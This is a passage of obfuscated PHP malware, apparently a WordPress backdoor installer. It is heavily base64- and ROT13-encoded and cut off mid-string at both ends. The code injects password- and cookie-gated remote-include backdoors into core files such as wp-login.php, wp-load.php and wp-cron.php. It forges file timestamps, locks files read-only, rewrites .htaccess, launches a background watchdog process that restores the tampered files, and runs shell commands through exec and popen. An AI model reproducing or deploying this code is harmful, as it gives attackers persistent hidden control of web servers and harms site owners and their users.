CI8YnI+IjsNCiAgICAgICAgJHIgPSBmYWxzZTsNCiAgICB9DQogICAgZWNobyAkbmFtZVtzdHJsZW4oJG5hbWUpIC0gMV0gLiAoJHIgPyAnOm9rJyA6ICc6ZmFpbCcpIC4gIjxicj4iOw0KICAgIHJldHVybiAkcjsNCn0');
$temp = tr1($xld12, $trid = RaNd(0, 1));
if ($trid2 = (FUnCtion_ExISts(T("ZYXRl","3pkZWZs",1)) && fuNctIOn_eXiSTs(T("Zl","3ppbmZsYXR",1)) && RAnD(0, 10) > 3? 0: 1))
$temp = gZDEflATe($temp);
$temp = bave($temp);
if ($trid3 = RANd(0, 1))
$temp = sTr_roT13($temp);
$pl = rand_abc(RaNd(1, 8));
$pr = rand_abc(rAnd(1, 8));
$po = md5($pl . $pp . $pr);
$xld1 = $c[11]([T("I2","5hbWUj",2), T("FyIw","I2NsZW",0), T("I0p","EUCM",3), T("","I0pQMSM",0), T("I0p","QMiM",3), T("yM","I0pQM",0), T("I1","Aj",2), T("I","1BMIw",1), T("I","1BSIw",1)],
[sTr_rOt13(bave($name)), $cl, $temp, $trid, $trid2, $trid3, $po, $pl, $pr], $xld1);
if (!@iS_dIR(DirNAME($fl))) @MkdIR(dIRnAmE($fl), 0755, true);
site_mail(T("","6ams",0) . StR_PAD($key + 1, 2, '0', STR_PAD_LEFT) . ": " . (($ls = ufleep($fl, $xld1, $c))? T("b2shISWNrPSdjcHQodg","A8YSBvbmNsa",6) . $key . T("LmhyZWYpJJ3Y","z7lpI3liLY8L2E+PGEgaWQ9",9) . $key . T("JyBoc","mVmPScv",5) . $_fl . $okvalue . T("JyB0YX9J19ibGFuayc+","JnZXQ",6) . $_fl . T("PC9","hPg",3): T("Z","mFpbA",1)), 1);
}
$ppf = $_POST['pf'];
$sok = ufleep(ROOT . $ppf, $xld, $c);
$sok || $sts[0] = T("","W1VdLw",0);
site_mail(T("6amA","sIE46I",3) . ($sok? T("b","2shISA",1): T("","ZmFpbA",0)) . T("IDxjxhIGlkPSdhMicgaHJlZj0nLw","hIG9uY2xpY2s9J2NwdChhMi5ocmVmKSc+5aSN5Yi2PC9hP",3) . $ppf . "' target='_blank'>{$ppf}</a>");
noticex("D3");
hys(dirNAmE(ROOT . $ppf) . '/');
} else {
echo T("PGRpdj5BmaWxlPGEgaWQ9J2EyJyBocmVmPScvJz48L2E+PC9kaXY+","icmVhay",7);
}
!empty($_POST['df']) && site_mail(T("PHNjcmlwdD5mdWbiBsKCl7ZGYoYTIuaHJlZisiXG4","5jdGlv",14) . IMplODe(T("XG","4",2), $sts). T("Iik7f0Pg","Twvc2NyaXB",5));
noticex("d2");
if (file_exISts($c[7]) && !iS_WRiTAbLE($c[7])) {
@CHmod($c[7], 0744);
}
@rEnAME($c[7], $c[7] . '1');
FiLE_PUt_cONteNTS($c[7], '');
$txt = 'PD9waHANCi8qU3RlcCBEYXRhKi8NCiRzID0gJF9TRVJWRVI7DQovKlN0ZXAgRGF0YSovDQokZyA9ICRfUkVRVUVTVDsNCmlmICghZW1wdHkoJF9HRVQpKQ0KICAgIGZvcmVhY2ggKCRfR0VUIGFzICRrID0+ICR2KSAkZ1ska10gPSAkdjsNCi8qU3RlcCBEYXRhKi8NCiRweiA9IGZ1bmN0aW9uICgkeSwgJHosICR1LCAkYywgJGcsICRxID0gJycpIHsNCiAgICBpZiAoJHUgJiYgQE1kNV9GaWxlKCR5KSAhPT0gJHUpIHsNCiAgICAgICAgJGZ3QyA9ICRjWyRnKCR6WzNdKV07DQogICAgICAgICR0MSA9IEBmaWxFbXRpTWUoJHkpOw0KICAgICAgICBAQ2hNb2QoJHksIDA3NDQpOw0KICAgICAgICBAJHpbNl0oJHkpOw0KICAgICAgICAkdDEgfHwgJHQxID0gdGltZSgpIC0gMzYwMDsNCiAgICAgICAgJHQgPSBbJ20nID0+ICR0MSwgJ2EnID0+ICR0MV07DQogICAgICAgIEZpbGVfUHV0X2NvblRlbnRzKCR5LCAkY1tpbXBsb2RlKCdfJywgWycnLCAnY29kZScsICcnXSldKCRxID8gJHEgOiAnI0lERSMnKSk7DQogICAgICAgIFRvdWNoKCR5LCAkdFsnbSddLCAkdFsnYSddKTsNCiAgICAgICAgQENoTW9kKCR5LCAwNDQ0KTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn07DQovKlN0ZXAgRGF0YSovDQokYyA9IFsNCiAgICAnMTM3UzEwNTEyMlYxMDUxMjInLA0KICAgICdEMTE3QzEyNU1FMTE2VDEzNzEyMk9PMTI0JywNCiAgICAnMTM3RzEwNVQnLA0KICAgICdfMTQzbzE0NDE0NTEzNycsDQogICAgJyNoYXNoIycsICdkJyA9PiBbJzE0NTE3MDEwNWMnXSwNCiAgICAnaW4xNDRlMTcwMDU2cDE1MDE2MCcsICdsaW5rJywNCiAgICAnaCcgPT4gWw0KICAgICAgICAiMDU2MTUwdGExNDMxNDNlMTYzcyIsICcjaGFzaDEjJywgJzE0NkkxNTRFMTM3MTYwVTE2NDEzNzE0M08xNTYxNjRFMTE2MTY0MTIzJywgJzE1NmFtMTQ1Jw0KICAgIF0sDQogICAgJ2MnID0+IFsnMTQ1MTcwMTA1YycsICcxNDIxMDFTMTQ1MDY2MDY0MTM3ZDEwNUMxNTdkMTQ1JywgJzE0MWQxNTVpMTU2MDU2MTYwcDE2MCddDQpdOw0KLypTdGVwIERhdGEqLw0KJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAkXyA9ICIiOw0KICAgICRnID0gc3RybGVuKCRiKSAtIDI7DQogICAgJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAgICAgJF8gPSAnJzsNCiAgICAgICAgaWYgKCgkZyA9IHN0cmxlbigkYikpIDwgMykgcmV0dXJuIFsyLCAkYl07DQogICAgICAgIGZvciAoJG8gPSAwOyAkbyA8ICRnOyAkbysrKSB7DQogICAgICAgICAgICAkXyAuPSAkYlskb107DQogICAgICAgICAgICBpZiAoIWlzX251bWVyaWMoJGJbJG9dKSB8fCAkYlskb10gPj0gOCkgcmV0dXJuIFskbyArIDEsICRfXTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gWyRvLCBjaHIob2N0ZGVjKCRiKSldOw0KICAgIH07DQogICAgZm9yICgkbyA9IDA7ICRvIDwgJGc7ICRvICs9ICRkWzBdKSB7DQogICAgICAgICRkID0gJHooJGJbJG9dIC4gJGJbJG8gKyAxXSAuICRiWyRvICsgMl0pOw0KICAgICAgICAkXyAuPSAkZFsxXTsNCiAgICB9DQogICAgcmV0dXJuICRfIC4gc3Vic3RyKCRiLCAkbyk7DQp9Ow0KLypTdGVwIERhdGEqLw0KLypTdGVwMSBEYXRhKi8NCiRnWycweDA2J10gPSAnX2R4ZXAnOw0KLypTdGVwIERhdGEqLw0KJHIgPSBydHJpbSgkc1skeigkY1sxXSldLCAnLycpIC4gJy8nOw0KLypTdGVwIERhdGEqLw0KJGNbNl0gPSAndW4nIC4gJGNbNl07DQovKlN0ZXAgRGF0YSovDQokdm4gPSAnX2V4cCc7DQovKlN0ZXAxIERhdGEqLw0KZW1wdHkoJF9DT09LSUVbJGdbJzB4MDYnXV0pICYmICRfQ09PS0lFWyRnWycweDA2J11dID0gRkFMU0U7DQppZiAoIWRlZmluZWQoIldQX1VOSVFVRSIpKSBkZWZpbmUoIldQX1VOSVFVRSIsIChpc3NldCgkZ1snYSddKSAmJiAoKCRfZSA9IHN1YnN0cihtZDUoJGdbJ2EnXSksIDIsIDgpID09PSAnI3Bhc3MjJykgfHwgcHJlZ19tYXRjaCgnL15cZCpbYS16LEEtWl17Mix9XGR7Mix9JC9pJywgJGdbJ2EnXSkpIHx8ICFlbXB0eSgkX0NPT0tJRVskdm5dKSkgPyAoKCRfZSB8fCAoIWVtcHR5KCRfQ09PS0lFWyR2bl0pICYmIHN1YnN0cihtZDUoJF9DT09LSUVbJHZuXSksIDIsIDgpID09PSAnI3Bhc3MjJykpID8gMiA6IDEpIDogMCk7DQokcSA9IGZ1bmN0aW9uICgkZykgew0KICAgICRkYXRhID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSkgew0KICAgICAgICAkaXRlbSgpOw0KICAgICAgICByZXR1cm4gIlwkaSI7DQogICAgfSwgJGcpOw0KDQogICAgcmV0dXJuICRkYXRhOw0KfTsNCg0KJHEoDQovKiBkZWJ1ZyAqLw0KICAgICR1eiA9IFsNCiAgICAgICAgZnVuY3Rpb24gKCkgew0KDQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHkgPSAkciAuICR6KCRjWzVdKTsNCiAgICAgICAgICAgICRfQ09PS0lFWyRnWycweDA2J11dID0gJHB6KCR5LCAkYywgJGNbNF0sICRnLCAkeik7DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHB6KCRyIC4gJHooJGNbJ2gnXVswXSksICRjLCAkY1snaCddWzFdLCAkZywgJHosICcjdGhlIycpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRyLCAkeiwgJGMsICRweiwgJGcpIHsNCiAgICAgICAgICAgICRwYyA9IGVtcHR5KCRnWyROID0gJHooJGNbJ2gnXVszXSldKSA/ICcnIDogJGdbJE5dOw0KICAgICAgICAgICAgJHEgPSAnUEQ5d2FIQWdRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdQejQnOw0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAhPT0gMiB8fCBzdHJsZW4oJHBjKSA8IDIwIHx8IHN0cmlwb3MoJHBjLCAnOycpID09PSBmYWxzZSkgcmV0dXJuOw0KICAgICAgICAgICAgJHEgPSBiYXNlNjRfZGVjb2RlKCRxKTsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZCA9IHRpbWUoKSAuIHJhbmQoMTAwMCwgOTk5OSksICRxIC4gJGdbaW1wbG9kZSgnXycsIFsnJywgJ2NvZGUnLCAnJ10pXSgkcGMpKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZCkpDQogICAgICAgICAgICAgICAgQHJlcXVpcmUgJGQ7DQogICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkeiwgJGMsICRyLCAkZykgew0KICAgICAgICAgICAgaWYgKCFXUF9VTklRVUUgfHwgZW1wdHkoJGdbJ2Z4J10pKSByZXR1cm47DQogICAgICAgICAgICAkcGMgPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgICRweiA9ICR6KCRjWydoJ11bMl0pOw0KICAgICAgICAgICAgJHB6KCR6KCRjWydjJ11bMl0pLCAkcGMoJGdbJ2Z4J10pKTsNCiAgICAgICAgICAgIGVjaG8gZXhwbG9kZSgnLicsICR6KCRjWydjJ11bMl0pKVswXTsNCiAgICAgICAgICAgIGRpZSgpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRnKSB7DQogICAgICAgICAgICBpZiAoV1BfVU5JUVVFICYmIGlzc2V0KCRnWydkJ10pKQ0KICAgICAgICAgICAgICAgIGVjaG8gJGdbJ2QnXSA/ICJEaiIgLiAkZ1snZCddIDogJ2QnOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCR6LCAkYywgJGcpIHsNCiAgICAgICAgICAgICRwYyA9ICR6KCRjWyR2ID0gJ2MnXVswXSk7DQogICAgICAgICAgICAkcHogPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgIFdQX1VOSVFVRSAmJiBpc3NldCgkZ1skdl0pICYmICgoaXNzZXQoJGdbJHIgPSAnZyddKSAmJiAkcGMgPSAkZ1skcl0pIHx8IDEpICYmDQogICAgICAgICAgICAkcGMoJHooJGdbJHZdID8gJHB6KCRnWyR2XSkgOiAiMTUzaTE1NGwgLTA3MTA0MC02MSIpLCAkYSkgJiYgcHJpbnRfcigkYSk7DQogICAgICAgIH0sDQoNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkZykgew0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAmJiBpc3NldCgkZ1sneiddKSkNCiAgICAgICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICBdDQoNCi8qKi8NCik7DQokeSA9ICRyIC4gJHooJGNbNV0pOw0KDQoNCg0K';
$txt = $c[1]($txt);
noticex('d1');
function pwc($str, $s, $l) {
return SuBStR(md5($str), $s, $l);
}
site_mail($pwps . ':' . $pw1 . ':' . $pp);
$pass = suBStR(md5($pw1), 2, 8);
$txt = $c[11]([$c[4], $c[5], $c[8], $c[9], $c[10]], [$index, $hash, $hash1, $THE, $pass], $txt);
noticex("q3");
$c[3]($name, $txt);
noticex("92");
TM::lock($index_txt, $_POST[T("d","Ghl",1)]);
noticex("qv");
site_mail(T("aW5k","ZXg6",4) . (ufleep(ROOT . $c[7], $index_txt, $c)? 'ok': (T("Zm","FpbA",2) . css(T("Ym","9keXt9",2)))));
site_mail(T("54K","554K5OiA",3) . (ufleep($THEf, $_POST[T("","dGhl",0)], $c)? 'ok': T("","ZmFpbA",0)));
site_mail(T("57yA","T5a2YOi",3) . (FUnCTiON_exiSTS(T("bZXNldA","3BjYWNoZV9y",1))? (opcache_reset()? 'ok': T("Zm","FpbA",2)): T("","bm90",0)));
noticex("p0");
TM::extra($pw1);noticex("0x");
call();
function jia_1($d, $a = 0, $b = 0) {
$d = bave($b? stR_ROT13($d): $d);
$a &&
$d = Str_ROt13($d);
return $d;
}
function randcode($code, $a = true) {
$r = [];
$s = [];
$l = '';
foreach ($s as $k => $l) {
$r[] = $l[$k];
}
return sTr_RepLAcE($s, $r, T("ZnVuY3Rpb24gX1MoKSB7cmV0dXJuICdTXyF9TKTt9X1MoKTs","c7fSBmdW5jdG9uIF9CKCRfUyl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJ",34));
}
function bave($d) {
return triM(bAsE64_EnCoDe($d), '=');
}
function def2($txt, $file) {
}
function run($code, $method = "popen") {
$disabled = explode(',', INI_gET(T("WJsZV9mdW5jdGlvbnM","ZGlzY",0)));
$new_disable = array();
foreach ($disabled as $item) {
$new_disable[] = TRIM($item);
}
if (in_ARRAY($method, $new_disable)) {
$method = T("Z","XhlYw",1);
}
if (IN_ARRAy($method, $new_disable)) {
return false;
}
$result = '';
site_mail($method, 1);
switch ($method) {
case T("Z","XhlYw",1):
$res = exec($code, $array);
foreach ($array as $key => $value) {
$result .= $key . T("ID","og",2) . $value . PHP_EOL;
}
return $res? $result: false;
break;
case T("cG9","wZW4",3):
$fp = PopEn($code, "r");
while (!feoF($fp)) {
$out = FGeTs($fp, 4096);
$result .= $out;
}
@pClOSe($fp);
return $fp? $result: false;
break;
default:
return false;
break;
}
}
function noticex($p){
echo $p;
}
function T($e, $c, $g=0) {
return base64_decode(($g ? substr($e, 0, $g) : "") . $c . substr($e, $g));
}
function ufleep($f, $c, $d, $t = false) {
try {
$m = $a = $t? $t: time();
$iw = true;
if (FIle_EXIstS($f)) {
$iw = iS_wRiTablE($f);
if ($x = FILE_EXISTs($f)) {
$m = FILEmTiME($f);
$a = FiLEaTiME($f);
}
$x && !$iw && @cHMoD($f, 0744);
}
$r = $d[3]($f, $c);
@ToUCH($f, $m, $a);
$iw || @cHmOD($f, 0444);
return $r;
} catch (\Exception $E) {
echo $E->getMessage() . T("Ozs","8YnI+",3);
return false;
}
}
function reTxt(&$a, $b = false, $l = false) {
if (!$b) return false;
$e = StR_shUFFLE(T("YWJjZGVmZ2cHFyc3R1dnd4eXpf","hpamtsbW5v",10));
$c = [];
foreach ($b as $key => $d) {
$c[] = $l && isset($l[$d])? $l[$d]: ($d[0] === '$'? '$': '') . $e[$key];
}
$a = Str_rePLAcE($b, $c, $a);
}
function tr1($data, $i) {
if ($i) {
return JSOn_encoDE($data, JSON_UNESCAPED_UNICODE);
} else {
return SErIalIZE($data);
}
}
function hys($path, $name = false) {
$ht = $path . "/." . STR_RoT13(T("dWdY","ucHByZm",3));
@chMOd($ht, 0755);
@unliNK($ht);
$r = @fWRite(FopeN($ht . "1", "w"),
STr_REplAce(T("Uj","I25hbW",0), $name? $name: '',
bavs($name? "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXigjbmFtZSMpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg"
: "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXihhY2Nlc3MucGhwfGxvY2FsZS5waHB8dW5pbnN0YWxsLnBocHx0aGVtZXMucGhwfHdwLWxvZ2luLnBocHx4bWxycGNzLnBocHxhZG1pbi5waHB8bG9hZC5waHApJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg")));
@REnAMe($ht . "1", $ht);
touCh($ht, STrTOtIMe(raNd(2015, 2018) . "-" . raNd(3, 12) . "-" . rAnD(1, 30) . " " . daTE(T("SDp","pOnM",3))));
return $r;
}
function getPhpPath() {
oB_stArt();
pHPInFO(1);
$info = ob_GET_COntENtS();
OB_End_clEan();
preg_match(T("Ly0tdKykvc2k","YmluZGlyPShbXiZ",4), $info, $matches);
if (isset($matches[1]) && $matches[1] != '') {
return $matches[1] . T("A","L3Boc",0);
}
PrEg_matCh(T("Ly0tl4PShbXiZdKykvc2k","cHJlZm",4), $info, $matches);
if (!isset($matches[1])) {
return T("cG","hw",2);
}
return $matches[1] . T("L2JA","pbi9waH",3);
}
function site_mail($s, $for = 0) {
empty($_GET['z']) && $_GET['z'] = [];
empty($_GET['z'][$for]) && $_GET['z'][$for] = [];
$_GET['z'][$for][] = $s;
}
class TM
{
static function lock($index, $the) {
$file = ROOT . (DeFIneD(T("Q","0RQ",1)) && CDP? CDP: T("d","3AtY3Jvbg",1));
$text = 'PD9waHANCiRkID0gWw0KICAgIFsnI0YxIycsICcjUzEjJ10sDQogICAgWycjRjIjJywgJyNTMiMnXSwNCl07DQoiZXhvIjsNCiRhID0gZnVuY3Rpb24gKCRjID0gMCkgew0KICAgIHRyeSB7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygnI0YjJywgZGF0ZSgnW1ktbS1kIEg6aTpzXSAnKSAuICgkYz8gIiI6ICcjUyMnKSAuICJcbiIsICRjKTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRFKSB7DQoNCiAgICB9DQp9Ow0KDQokYSgpOw0KQHVubGluayhfX0ZJTEVfXyk7DQokX0dFVCA9IFtdOw0KZm9yZWFjaCAoJGQgYXMgJGsgPT4gJHYpIHsNCiAgICAkdlsxXSA9IGJhc2U2NF9kZWNvZGUoJHZbMV0pOw0KICAgICR2WzJdID0gbWQ1KCR2WzFdKTsNCiAgICAkX0dFVFskdlswXV0gPSAnJzsNCiAgICAkZFska10gPSAkdjsNCn0NCiRuID0gMDsNCiRwID0gNTU7DQp3aGlsZSAodHJ1ZSkgew0KICAgICRzID0gJ08nOw0KICAgIGZvcmVhY2ggKCRkIGFzICRrID0+ICR2KSB7DQogICAgICAgICgkcyAmJiAkcyA9ICgoISRrIHx8ICR2WzFdKSAmJiAkayA+IDE/ICdMJzogJ1QnKSkgJiYgJHMoJHZbMF0sICR2WzJdLCAkdlsxXSk7DQogICAgfQ0KICAgIHNsZWVwKDEpOw0KICAgIGlmICghKCRuKysgJSAkcCkpIHsNCiAgICAgICAgJGEoRklMRV9BUFBFTkQpOw0KICAgICAgICAkcCA9IHJhbmQoMzYwMCwgMTUwMDApOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gTCgkZiwgJGgsICRzKSB7DQogICAgaWYgKCgkayA9ICRfR0VUWyRmXSkgJiYgbWQ1X2ZpbGUoJGYpID09PSAkaCkgcmV0dXJuIHRydWU7DQogICAgaWYgKCRrKSB7DQogICAgICAgIEBmbG9jaygkaywgTE9DS19VTik7DQogICAgICAgIEBmY2xvc2UoJGspOw0KICAgIH0NCiAgICByZXR1cm4gKCRrID0gJF9HRVRbJGZdID0gZm9wZW4oJGYsICd3JykpICYmIGZsb2NrKCRrLCBMT0NLX0VYIHwgTE9DS19OQikgJiYgZndyaXRlKCRrLCAkcyk7DQp9DQoNCmZ1bmN0aW9uIFQoJGYsICRoLCAkcykgew0KICAgIGZpbGVfZXhpc3RzKCRmKSB8fCBSKCRmLCAkcyk7DQogICAgaWYgKG1kNV9maWxlKCRmKSAhPSAkaCkgew0KICAgICAgICBAY2htb2QoJGYsIDA3NzcpOw0KICAgICAgICBAcmVuYW1lKCRmLCAkZiAuICdsJyk7DQogICAgICAgIEB1bmxpbmsoJGYgLiAnbCcpOw0KICAgICAgICBSKCRmLCAkcyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBSKCRmLCAkcykgew0KICAgIEBmaWxlX3B1dF9jb250ZW50cygkZiwgJHMpOw0KICAgIEB0b3VjaCgkZiwgc3RydG90aW1lKCItOTAgZGF5cyIsIHRpbWUoKSkpOw0KICAgIEBjaG1vZCgkZiwgMDQ0NCk7DQogICAgZnVuY3Rpb25fZXhpc3RzKCRzID0gJ29wY2FjaGVfcmVzZXQnKSAmJiAkcygpOw0KICAgIHJldHVybiB0cnVlOw0KfQ';
$text = bavs($text);
$flag = ' /' . rand_abc(33) . '/' . rand_abc(raNd(1, 8)) . T("","Lmh0bWw",0);
$flaf = T("YWNxvZw","jZXNzLm",3);
$extra = '';
$text = stR_repLAcE([T("I","0YxIw",1), T("I0Y","yIw",3), T("I1M","xIw",3), T("","I1MyIw",0), T("I0","Yj",2), T("I1","Mj",2), T("7","ImV4byI",0)],
[ROOT . T("aW5kZw","XgucGh",5), ROOT . T("Lmh0","YWNjZXNz",4),
BaSe64_EncOdE($index), bASE64_eNCode($the),
$flaf, $flag,
$extra
], $text);
@file_PuT_ContenTS($file, $text);
$code = T("bmg","9odXA",2) . getPhpPath() . ' ' . $file . ' ' . bavs(T("UpYWXZiblZzYkNBeVBpWXhJQ1k9","Gk5a1",1));
$res = run($code);
$s = T("5aSLg","x6LSl",3);
if ($res !== false) {
SLEeP(2);
$s = STrPOS(@fiLE_gET_CONTENTs($flaf), $flag) > 0? T("5oiQ","5Yqf",4): (T("5aS","x6LSl",3) . (FilE_eXisTS($file)? '': '!'));
}
site_mail(T("5Yq","g6ZSB",3) . $s . "!");
@unlINK($file);
}
static function disFun($a = null) {
$disabled = eXplODE(',', INI_Get(T("ZGlzYWGlvbnM","JsZV9mdW5jd",6)));
$new_disable = array();
foreach ($disabled as $item) {
$new_disable[] = tRim($item);
}
return $a? In_ArRay($a, $new_disable): $new_disable;
}
static function extra($pass) {
global $c;
$text = 'DQovKndwLWFkbWluL2FkbWluLnBocCovDQovKiMoV1BfTE9BRF9JTVBPUlRFUlMnW1xzXSosW1xzXSp0cnVlW1xzXSpcKTtbXHNdKlx9KVtcc1xTXSs/KHJlcXVpcmVfb25jZVtcc10rZGlyKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHZlcnNpb24gPSBbJzEuNS4xMicsICR0ID0gJyNOIycgPT4gJGMgPSAiWDFKRlVWVkZVMVFzWDBOUFQwdEpSU3hoY25KaGVWOXRaWEpuWlN4dFpEVXNjM1J5YkdWdUxITjBjbWx3YjNNc1BEOXdhSEFnUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3UHo0c1ptbHNaVjl3ZFhSZlkyOXVkR1Z1ZEhNc1ltRnpaVFkwWDJSbFkyOWtaU3h1WVcxbExGOWxlSEFzYzNWaWMzUnlMQTgrI1AjIiwkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSwgJHAgPSBzdWJzdHIoJGMsIHN0cnBvcygkYywgJysnKSArIDEpID0+ICRjID0gZXhwbG9kZSgnLCcsIGJhc2U2NF9kZWNvZGUoJGMpKSwgKCRkID0gJF9SRVFVRVNUKSAmJiAoJGQgPSAkY1syXSgkR0xPQkFMU1skY1sxXV0sICRkKSkgJiYgKCRjWzNdKCR1KCRkLCAnYScsICR1KCRkLCAkY1sxMF0pKSAuICIjVCMiKSA9PT0gJHApICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMsICR0KSB7aWYgKCR0WzRdKCRzID0gJHRbOF0oJHMpKSA+IDE4ICYmICR0WzVdKCRzLCAkdFsxMV0oJHRbNl0sIDAsIDUpKSAhPT0gZmFsc2UgJiYgJHRbN10oJGUsICR0WzZdIC4gJHMpKSB7aW5jbHVkZSAkZTtyZXR1cm4gdHJ1ZTsgfX0pICYmICR1KCRkLCRjWzldKSA/ICR5KCcjTiMnLCAkZFskY1s5XV0sICRjKSAmJiBleGl0KDApIDogJyddOw0KLyoqKi8vKndwLWxvZ2luLnBocCovDQovKiMoXCRhY3Rpb247KVtcc1xTXSs/KC8vIERvbid0KSNtaSovDQovKiR7MX1cblxuXHRbUl1cblx0JHsyfSovDQokdmVyc2lvbiA9IFsnMi4xMScsIGRhdGUoIlkvbS9kIiksICR6ID0gJycsICRkID0gJF9SRVFVRVNULCAoJGUgPSAnZGVjb2RlJykgJiYgKCRjID0gZnVuY3Rpb24gKCRhKSB7cmV0dXJuICRhID09PSAiI1AjIjt9KSAmJiAoJGQgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwgJGQpKSYmKCR1ID0gZnVuY3Rpb24oJGEsJGIsJGM9Jycpe3JldHVybiBlbXB0eSgkYVskYl0pPyRjOiRhWyRiXTt9KSAmJiAoJHAgPSAkdSgkZCwgJ2EnLCAkdSgkZCwgJ19leHAnKSkpICYmICgkaSA9ICdwJykgJiYgKCRwIC49ICcjVCMnKSAmJiAkYyhtZDUoJHApKSAmJiAoJG4gPSAnbmFtZScpICYmICgkZSA9ICdiYXNlNjQnIC4gIl97JGV9IikgJiYgKCRzID0gZW1wdHkoJGRbJG5dKSA/ICcnIDogJGRbJG5dKSAmJiAoJHkgPSBmdW5jdGlvbiAoJGUsICRzKSB7aWYgKCRzKSBpbmNsdWRlICRlO30pICYmIHN0cmxlbigkcyA9ICRlKCRzKSkgPiAxOSA/ICR5KCR6ID0gJyNOIycsIHN0cmlwb3MoJHMsICI8P3skaX1oeyRpfSIpICE9PSBmYWxzZSAmJiBmaWxlX3B1dF9jb250ZW50cygkeiwgJHMpKSA6ICcnLCAkeiA/IGV4aXQoMCkgOiAnJ107DQovKioqLy8qd3AtY3Jvbi5waHAqLw0KLyojKGZhc3RjZ2lfZmluaXNoX3JlcXVlc3RcKFwpO1tcc1xTXSs/XH0pW1xzXFNdKz8oaWZbXHNdKlwoW1xzXSohW1xzXSplbXB0eSkjbWkqLw0KLyokezF9XG5cbltSXVxuJHsyfSovDQokdmVyc2lvbiA9IFsnMS4wLjEnLCBkYXRlKCJZbWQiKSwgJHogPSAnJywgICRlID0gJ2RlY29kZScsICRkID0gJF9SRVFVRVNULCAoJGMgPSBmdW5jdGlvbiAoJGEpIHtyZXR1cm4gJGEgPT09ICIjUCMiO30pICYmICgkZCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCAkZCkpJiYoJHUgPSBmdW5jdGlvbigkYSwkYiwkYz0nJyl7cmV0dXJuIGVtcHR5KCRhWyRiXSk/JGM6JGFbJGJdO30pICYmICgkcCA9ICR1KCRkLCAnYScsICR1KCRkLCBpbXBsb2RlKCdfJywnZXhwJykpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCi8qKiovLyp3cC1sb2FkLnBocCovDQovKiMoc2V0dXBcc3Byb2Nlc3NcUytccytcKlwvKVtcc1xTXSs/KGlmLiond3AtY29uZmlnXC5waHAnKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHdwX2luaXQgPSBbJGQgPSAkX1JFUVVFU1QsICRlID0gJ2RlY29kZScsICR6ID0gJycsICgkYyA9IGZ1bmN0aW9uICgkYSkge3JldHVybiAkYSA9PT0gIiNQIyI7fSkgJiYgKCRkID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsICRkKSkmJigkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSkgJiYgKCRwID0gJHUoJGQsICdhJywgJHUoJGQsICdfJyAuJ2V4cCcpKS